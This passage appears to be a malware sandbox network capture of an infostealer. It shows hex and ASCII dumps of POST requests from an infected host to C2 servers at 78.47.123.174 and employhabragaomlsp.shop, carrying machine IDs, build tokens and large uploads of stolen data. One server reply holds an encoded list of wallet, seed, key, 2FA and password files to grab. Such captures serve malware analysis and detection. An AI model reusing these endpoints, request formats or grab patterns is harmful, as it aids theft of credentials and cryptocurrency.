name="build_id"42d0618304a88d6476bc55d33c23d7e6------BGIJJKKJJDAAAAAKFHJJCont
2024-05-24 07:43:56 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:56 UTC	1524	IN	Data Raw: 35 65 38 0d 0a 52 45 56 54 53 31 52 50 55 48 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e Data Ascii: 5e8REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0Yn

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.4	50056	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:56 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1357 Host: employhabragaomlsp.shop
2024-05-24 07:43:56 UTC	1357	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:57 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rptmo0meqjc053djctuim5tube; expires=Tue, 17-Sep-2024 01:30:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RKDUwUVKfLNorZlqB8UR5BmAFGdLorp7h6jed%2BEmk%2FCMbhFuQXSspWfPRNAl3CicIkLsGbH9Z%2Fg1ZQSmBiS52iyeomJc70uSVNOuuS4jHcYLzlrRyGXXYKgVS%2Bhkto2yheOCtMe8H1V%2BtA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba85d2d21c3ff-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:57 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.4	50055	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:56 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBGDBFBKKJECBFHDGIE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 453 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:56 UTC	453	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 33 38 39 34 32 30 30 64 35 38 35 31 63 36 38 31 33 63 39 61 65 39 63 31 63 32 65 37 65 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 Data Ascii: ------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="token"a63894200d5851c6813c9ae9c1c2e7e1------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------KFBGDBFBKKJECBFHDGIECont
2024-05-24 07:43:57 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:57 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.4	50057	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:58 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571075 Host: employhabragaomlsp.shop
2024-05-24 07:43:58 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:58 UTC	15331	OUT	Data Raw: f9 18 a9 60 bb c9 5c fc 88 1d 28 e0 c3 69 a2 e1 ae 9f ae cc c7 10 83 87 12 f2 36 1d 6a b8 fd f5 60 3f 10 10 a3 a6 df de ee 95 28 28 df ba d8 ca 30 be 2c ef 8d bf ca a7 a5 ca 85 eb e7 18 4d 7f ad f9 8a d1 97 24 4d d2 1d 32 f9 93 3d a9 f1 d3 36 20 5b 7d 7b c9 c6 36 c2 fa 00 8a 93 d6 ca 1d ad 28 4c d8 70 ca c7 87 c5 ae 0b cc 72 4c db a3 42 2d 31 24 82 9a 1b 12 c5 84 c6 ad 4f e9 52 53 79 ac be 50 9f a2 a8 e5 2b 60 93 fb 50 5e f7 ae 49 48 b1 ac 15 44 1e ad af fd f2 f0 0b 77 54 df 2d 72 eb c2 ad 00 eb 8f c9 91 c6 e1 61 bd b8 93 7b 69 a8 a4 62 f7 2f 5f b2 76 cb 14 ae c1 87 26 b2 58 e6 b5 b4 f5 3c 2c c4 fd ea 83 a4 46 ab 47 7d 38 97 b5 d9 8a 4b a3 a1 29 7b ad 7f a7 e9 75 7a ad 00 01 40 02 06 86 54 7f e8 d9 f1 4b ed 74 31 88 6c 07 af 6d d6 5c 1b c7 24 67 15 3a b6 Data Ascii: `\(i6j`?((0,M$M2=6 [}{6(LprLB-1$ORSyP+`P^IHDwT-ra{ib/_v&X<,FG}8K){uz@TKt1lm\$g:
2024-05-24 07:43:58 UTC	15331	OUT	Data Raw: 92 74 e5 03 f8 a0 b9 c4 4a 97 4a f1 4e 01 90 12 f6 f5 04 a4 b6 e5 83 a1 3e 40 94 f2 d6 c8 8f cd 71 0b c6 23 bb 1d 4c 53 46 ad b1 14 82 66 f9 41 76 92 e7 2e 1a 8d 0f 23 70 be 9e 9f 10 43 24 c5 38 3b b0 0a de 11 cc 1d 2d f3 78 bb 34 ab c7 35 fa e1 a4 3f 5b 6d c5 bf 7b 53 eb 23 6e 95 69 58 39 a5 9f cf 0c fe 02 46 4c 21 03 84 b0 75 0a 28 c7 a1 8e a3 09 b6 d0 2d a3 47 d8 6e 22 79 46 04 34 92 69 be 55 c9 39 df 0d 49 af af bf c3 c7 99 88 7e 0f 58 e2 2d 5b 4f b4 3e 5b ea b9 67 23 ef f3 dd b6 ef 6f 26 ab d2 09 9d ee 78 4c 09 ef e6 6b 38 f8 59 58 cd cb b7 e4 82 1a 68 17 1f 87 be e9 e7 7e 00 0b b7 1d 39 b7 9d 98 f6 a5 2d 27 86 62 9f 75 c1 3e e2 b2 5a d2 6f a5 fe c8 43 37 79 37 59 6a ad 98 6c 9e ff ab 92 51 e0 e9 4a fc e6 e3 76 b1 61 0a 77 52 c0 ea ae 49 e4 77 c9 ec Data Ascii: tJJN>@q#LSFfAv.#pC$8;-x45?[m{S#niX9FL!u(-Gn"yF4iU9I~X-[O>[g#o&xLk8YXh~9-'bu>ZoC7y7YjlQJvawRIw
2024-05-24 07:43:58 UTC	15331	OUT	Data Raw: 97 13 88 16 9a ec b2 55 75 a3 c7 84 94 b3 a2 d7 44 41 f7 ba cf ab 0d ec 7c 6e 47 2d 56 e9 be 63 e5 86 48 b7 5f bd 3c 35 9d b1 d2 b2 41 d3 5d 4a 22 25 6f 4d 6b 8a 66 ed 4a bb b4 d7 f9 84 95 99 8d 5c 47 db 73 33 8f 38 94 00 d0 33 34 79 27 97 69 13 6c 7b fe 88 50 ea 96 bb 3b e6 a1 81 30 3d 07 50 bc 37 ce f9 8a 7f b0 34 cf 9d 4f 0a f5 ca 8e c7 46 21 d8 fe 84 15 94 15 e1 0c c7 dc 5f 14 f8 78 f9 58 05 2f d8 85 2a 80 2d fb e0 64 b1 28 8c 59 66 05 ab 75 c6 8c 98 67 51 57 ab fc 5b 3a 3a fc 46 79 e6 ec e9 7d 24 6e 23 dc e7 bf 90 39 fd 07 cc 97 ed e9 9a ae 96 7f f1 ab b3 a0 4a b1 8c 15 a1 77 90 0d ab 8d 25 5d 92 f7 6d 1a ac 36 8c 0e ac e2 e1 7f 7f 4a c0 bf 45 6e 1e 9e 63 1e 91 4b 98 52 0b 12 98 29 87 2f 01 df 96 c2 bf 63 df fa cc 65 3c 8c b0 4a bd 08 be 0f 08 fc 1a Data Ascii: UuDA\|nG-VcH_<5A]J"%oMkfJ\Gs3834y'il{P;0=P74OF!_xX/*-d(YfugQW[::Fy}$n#9Jw%]m6JEncKR)/ce<J
2024-05-24 07:43:58 UTC	15331	OUT	Data Raw: 2d 1b b0 17 7a 34 8d cc c3 db b6 27 5e 63 92 f5 e9 24 a5 fe ce 86 a1 82 bc 3b 47 7d e8 84 9a 87 13 52 fd 45 d9 25 33 29 bf a8 c6 f4 8d 94 6b fc 8c 0d 37 2e f3 7e 39 85 ec cc 3f e2 20 a2 a2 63 75 c0 ea 34 81 47 af b3 9f 07 6e 18 12 08 c4 5d 3d 66 7b 89 87 b2 ec b4 76 6a ff 26 09 8c 48 b9 ca f7 c0 81 a3 99 81 b8 03 a4 1f fa 78 52 56 e5 46 19 29 c6 bb 26 80 6f d2 8e 6e cc c0 3c b3 6e fe 29 28 c2 34 eb 90 8f 1d db 5d 9f aa cd f2 4d f2 50 25 c9 63 1b f1 cc 35 cf 47 36 12 03 8a 62 bc 4a e6 0d a4 2c d9 34 1a e3 75 4a 7d 98 4e 8f a5 3b b0 07 79 88 cd 54 8f 1f 38 91 2d d5 17 11 c0 ea aa e3 d7 13 b6 72 08 0d 69 f2 99 67 55 09 14 fd 84 0d 02 b9 84 e4 2a f7 0e 2c 7f 48 c3 c6 6b f6 2e 25 44 7c 12 fb d7 96 6e 66 23 7f 99 33 78 b5 27 92 6b 43 04 75 18 c7 cb 8c 0b 17 8b Data Ascii: -z4'^c$;G}RE%3)k7.~9? cu4Gn]=f{vj&HxRVF)&on<n)(4]MP%c5G6bJ,4uJ}N;yT8-rigU*,Hk.%D\|nf#3x'kCu
2024-05-24 07:43:58 UTC	15331	OUT	Data Raw: 55 59 60 56 55 27 0b 27 8f b5 95 b8 2b 90 ec 69 13 b3 2d 3a 70 80 c0 75 46 56 20 b8 45 cd 4a e7 34 74 16 57 12 16 12 32 d1 a0 f1 31 2d 26 22 ec d6 41 5f f6 96 dc 0f 06 90 d9 0b 62 00 6b 99 ec c3 f9 93 99 f9 1e 58 f5 d2 7e 95 7f f9 35 f1 51 60 0c 45 ef eb 71 69 3c 82 b5 f6 b8 78 dc 7a aa c7 a7 46 d6 60 7e 91 21 c9 03 ce dd f5 cf 7e 18 69 c7 ef f1 96 d4 ee 87 52 46 90 8a f1 eb a9 c2 4c 3b e0 3b 4e cb 3f 04 a8 f7 0b f4 92 17 35 30 36 69 f1 7b 1f ca 5b 5e c6 5f 7d 6c 2e c9 eb e5 8f 9d bd 7b d5 63 e0 54 db 75 f4 6c 20 91 58 67 a0 89 83 35 04 c0 aa 34 9b 4f 08 f0 7f 82 fe cf 79 4b 15 50 46 f1 79 01 d1 2d 9c e0 74 14 65 6a 67 13 ab f2 01 41 ae c8 da 03 82 54 0a e5 95 17 3f 33 00 50 28 48 c8 e8 bd d3 bf 72 92 69 6d 9e a2 95 af 1a 60 b1 76 f7 f2 f6 1f 1d 74 89 d6 Data Ascii: UY`VU''+i-:puFV EJ4tW21-&"A_bkX~5Q`Eqi<xzF`~!~iRFL;;N?506i{[^_}l.{cTul Xg54OyKPFy-tejgAT?3P(Hrim`vt
2024-05-24 07:43:58 UTC	15331	OUT	Data Raw: 87 c2 89 6c dc 78 24 08 b1 9a 86 df d8 14 5d b3 48 d0 eb 67 bb f5 18 0a d5 8d b6 77 26 08 93 80 77 77 63 7b bb 6d d3 1a b4 8d b1 00 84 0f 63 be cd ea 76 9a 0d 25 67 b9 f1 c7 91 f8 60 8f dd 81 ea 28 c5 03 11 2d c5 eb 2b c1 75 5f 2d 46 c3 d4 3e 34 fe 3e 47 18 93 97 38 87 b5 b5 2a 11 bd 88 01 af d6 a2 c0 da 7d d1 4a 93 46 e6 67 e1 de c6 dd cd 57 85 fa 15 0a da be f3 96 be 74 da fa 7c 37 b3 2f 5c 42 82 be 37 c3 ba 75 6d 93 aa b2 77 e7 12 6b a5 fe 02 63 4e a5 35 e5 86 97 29 54 5c f8 f9 93 ac 1a 9c 35 89 0f d6 be b7 17 63 37 3a 16 de eb 66 63 ba 5a 17 64 b7 d9 bf 1d d5 3b 22 3a f9 e0 47 43 cd b1 91 0c b8 de fb 0a 2f d9 4e 78 c3 d6 cb dc c6 7b 3f 77 e6 a7 f2 ae 3d 98 18 ab 94 9f c0 7f e7 05 36 32 cf 2f 80 b5 b6 ac f1 9f cc 80 bc b5 82 49 70 8c cf 35 f4 13 37 d0 Data Ascii: lx$]Hgw&wwc{mcv%g`(-+u_-F>4>G8*}JFgWt\|7/\B7umwkcN5)T\5c7:fcZd;":GC/Nx{?w=62/Ip57
2024-05-24 07:43:58 UTC	15331	OUT	Data Raw: 37 52 e1 d6 58 cb 99 96 74 59 4d 2d 36 f5 9a ac e6 d3 14 9d fd af 5e 05 ad 0c ab 93 22 de ca 17 26 46 f4 9e 16 8c d8 47 05 20 aa 6c d5 e6 20 91 7f cc b1 f7 3f bf d0 c5 fa 77 1c 50 1a 0c 53 e5 bf db 59 cd 9d a0 06 58 77 9d 98 19 af 5a ce e0 06 1b 8f 84 69 d4 aa a8 a4 27 08 ab 81 96 6e da 6d 5f 3d 78 6c ec a4 d2 58 a8 1c f3 de 3f 0a 0c 92 46 fa 53 23 1c 7d a9 dd 31 ab f6 03 85 b6 4b fb a7 53 84 e2 f5 a2 da 43 ce 30 f8 d6 44 57 c2 aa 2c ae 2f f7 7c 55 6c b0 63 d5 40 f1 87 ee 97 89 46 11 ed 23 7f 76 34 44 e6 f8 af 83 b6 6b 30 ca ea c1 30 34 64 22 a7 5e 13 4c db 9b 3e e3 c3 78 80 d1 74 ee a5 0d af 0d 1f 71 91 6f a8 b5 01 8e f4 e0 88 2c 51 bc e8 19 a3 86 bb 3e bf 03 84 70 a3 83 8c d5 f9 b1 7e 1e f2 d8 1d 51 fb fc a9 60 ba 79 bc 42 5c 95 d2 74 61 98 05 cd 27 c7 Data Ascii: 7RXtYM-6^"&FG l ?wPSYXwZi'nm_=xlX?FS#}1KSC0DW,/\|Ulc@F#v4Dk004d"^L>xtqo,Q>p~Q`yB\ta'
2024-05-24 07:43:58 UTC	15331	OUT	Data Raw: 79 39 3e fb 03 98 d1 d4 28 32 83 c7 cc 14 51 f5 a7 2d 3b a2 84 7f 82 0b 88 63 8a bc 08 d1 91 76 16 28 31 04 36 65 aa aa 61 f2 4c f6 89 87 43 d4 d9 7d 04 d9 0c a7 e3 70 84 76 82 bd c3 d7 8d c1 f3 ee db 7b 18 36 54 8c 2e be 2f 9c 13 ab 5f 96 40 68 a9 21 54 c4 dc e6 27 10 fa 1b 72 4c 22 4c 53 59 99 3b c5 dd 34 03 89 aa 53 a5 68 f2 e7 93 16 3f 20 ad 2f 93 2f 62 5f e7 6b bc 13 ea b7 51 b2 53 61 28 71 11 be ea e8 15 6d 88 7c 76 a8 0f 94 8b 30 a0 18 97 ae 61 e9 81 bc 25 6e 10 7e 38 43 46 4d 2c ee 8c cb f3 d5 cc 02 e4 14 cf d7 02 94 38 26 3e 5a 01 c1 ea 98 ca 04 89 d7 f0 be ac e1 3b 37 ab ca 6a 07 9f 6f 0d 4a 43 f8 d4 30 b6 6c a4 a6 89 44 5c e7 49 b6 c6 51 13 04 9c cc 8c 73 05 00 1b 3e a8 a7 1f 0d 57 6b 1d 0d 31 69 62 46 06 f2 7e d6 44 cd 24 b3 92 44 a3 c7 de c9 Data Ascii: y9>(2Q-;cv(16eaLC}pv{6T./_@h!T'rL"LSY;4Sh? //b_kQSa(qm\|v0a%n~8CFM,8&>Z;7joJC0lD\IQs>Wk1ibF~D$D
2024-05-24 07:43:58 UTC	15331	OUT	Data Raw: 71 db ab 38 9c 85 1f b8 04 b0 18 bc 2b 40 a0 dc 51 7a 7f 41 c7 7e dc d1 e0 4e 71 b1 d7 95 df 55 d9 4a d2 00 59 38 86 1c e9 37 11 89 b4 d3 cc 02 9a 07 78 46 1d a1 55 1c 4b da 70 8d ad 08 48 87 55 ed 24 23 ce 43 62 35 9e 81 81 05 3c 57 2d 51 34 dd bb b7 05 0f 27 0c 9f 3c b4 3b 26 c4 00 63 ed 06 fd ee cc fc 22 40 34 54 4c 3c 6d 02 8c 8b e8 35 bc d8 61 29 90 a8 0d f5 a2 78 40 63 6c 7e 8d 09 6c 72 34 5c 60 ea 57 78 6a 09 93 4b 80 63 bc 00 7a 99 9f 90 6b a2 86 38 03 1a 8d de 59 e6 3f 81 71 60 ff 5a b6 16 b1 94 e5 eb 4a b4 7b bc 41 3e 9f 9e a7 82 e0 61 fb 9f 99 96 7b 02 54 ec 1c 2e f4 74 d3 96 c2 c9 dd d8 ab 17 63 9b 11 e7 94 c4 5c f9 b8 d6 6b 1f 22 fa 91 60 f7 e4 cf d1 ca 80 dd fd 11 7f 1b f3 0c b6 b1 c8 4f 07 54 72 e6 8d 25 d1 ef b9 71 16 25 db 58 74 90 f1 e1 Data Ascii: q8+@QzA~NqUJY87xFUKpHU$#Cb5<W-Q4'<;&c"@4TL<m5a)x@cl~lr4\`WxjKczk8Y?q`ZJ{A>a{T.tc\k"`OTr%q%Xt
2024-05-24 07:43:59 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0qbij3bd9q10uu2iruaqp1bqhn; expires=Tue, 17-Sep-2024 01:30:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HAkcGvFIgGkExr1hZxNWcGu9goJrbousSBYpzcSmKdQ2dnL6BTpUo9ebizX2iO%2BfKV6IhIQpd3790zUMjX5yHQFy2OE86qIlrbkSYxEuwY73Wh69CoqOQO11ASdjOJESIFLHTZxBcs%2F8tg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba863ed5a7c9a-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.4	50058	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:59 UTC	281	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAFBFBAAKECFIEBFIEC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 116689 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:59 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 33 38 39 34 32 30 30 64 35 38 35 31 63 36 38 31 33 63 39 61 65 39 63 31 63 32 65 37 65 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 Data Ascii: ------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="token"a63894200d5851c6813c9ae9c1c2e7e1------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------BAAFBFBAAKECFIEBFIECCont
2024-05-24 07:43:59 UTC	16355	OUT	Data Raw: 78 78 69 33 73 46 64 56 34 51 38 52 57 57 68 52 58 61 33 61 7a 4d 5a 6d 51 72 35 53 67 39 4d 39 63 6b 65 74 63 6f 35 38 70 51 38 69 75 69 6e 47 47 5a 43 41 63 6a 49 77 53 4f 34 49 50 30 71 52 49 5a 70 62 68 37 65 4f 33 6e 65 64 44 68 34 6b 69 59 75 70 7a 6a 6b 41 5a 48 50 46 63 32 49 70 30 73 52 54 35 4a 79 30 39 54 73 77 6c 57 76 68 61 76 74 49 52 31 38 30 2b 70 36 5a 2f 77 73 4c 52 76 2b 65 56 35 2f 77 42 2b 31 2f 38 41 69 71 54 2f 41 49 57 46 6f 33 2f 50 47 39 2f 37 39 72 2f 38 56 58 6e 4e 78 59 58 31 70 46 35 74 31 59 58 6b 45 51 49 42 65 61 32 64 46 79 65 6e 4a 47 4b 67 52 58 6b 6d 69 68 6a 69 6c 65 57 59 5a 69 6a 53 4d 6c 6e 48 50 4b 67 44 4a 36 48 70 36 47 76 50 57 56 59 56 71 36 6d 2f 76 58 2b 52 36 6a 7a 76 47 70 32 64 4e 58 39 48 2f 6d 65 6d 2f Data Ascii: xxi3sFdV4Q8RWWhRXa3azMZmQr5Sg9M9cketco58pQ8iuinGGZCAcjIwSO4IP0qRIZpbh7eO3nedDh4kiYupzjkAZHPFc2Ip0sRT5Jy09TswlWvhavtIR180+p6Z/wsLRv+eV5/wB+1/8AiqT/AIWFo3/PG9/79r/8VXnNxYX1pF5t1YXkEQIBea2dFyenJGKgRXkmihjileWYZijSMlnHPKgDJ6Hp6GvPWVYVq6m/vX+R6jzvGp2dNX9H/mem/
2024-05-24 07:43:59 UTC	16355	OUT	Data Raw: 4d 59 55 55 59 70 61 59 44 63 55 6c 4f 70 4b 64 77 51 6e 61 6a 4e 4c 69 69 67 42 51 37 44 33 2b 74 4e 49 52 76 76 4c 67 2b 6f 70 61 4d 55 72 49 43 4d 77 41 2f 64 59 48 32 4e 4d 61 4a 31 36 72 55 31 4b 47 59 64 44 52 59 70 53 5a 56 70 4d 56 62 4a 56 76 76 4b 43 66 55 55 77 78 49 66 75 75 52 37 47 67 70 54 4b 2f 61 6b 37 31 4d 30 45 67 35 78 6b 65 6f 71 4d 30 39 43 37 6a 66 7a 6f 78 6e 30 70 65 74 4c 51 4f 34 7a 69 6a 48 46 4f 70 4d 55 37 44 47 6d 6a 48 46 4c 6a 50 31 6f 78 69 69 77 44 63 66 70 53 59 70 78 47 61 54 39 4b 4c 44 75 4e 70 4d 55 2f 48 41 70 4d 63 65 6c 46 68 33 49 2b 2f 77 44 4f 6b 49 2b 74 53 2f 70 54 53 4b 56 69 72 6a 4d 5a 70 76 38 41 53 70 43 50 77 2b 6c 4a 2f 4b 69 77 37 6a 4d 64 4b 61 52 69 70 43 4d 55 30 69 6c 59 71 34 77 69 6b 78 7a 54 Data Ascii: 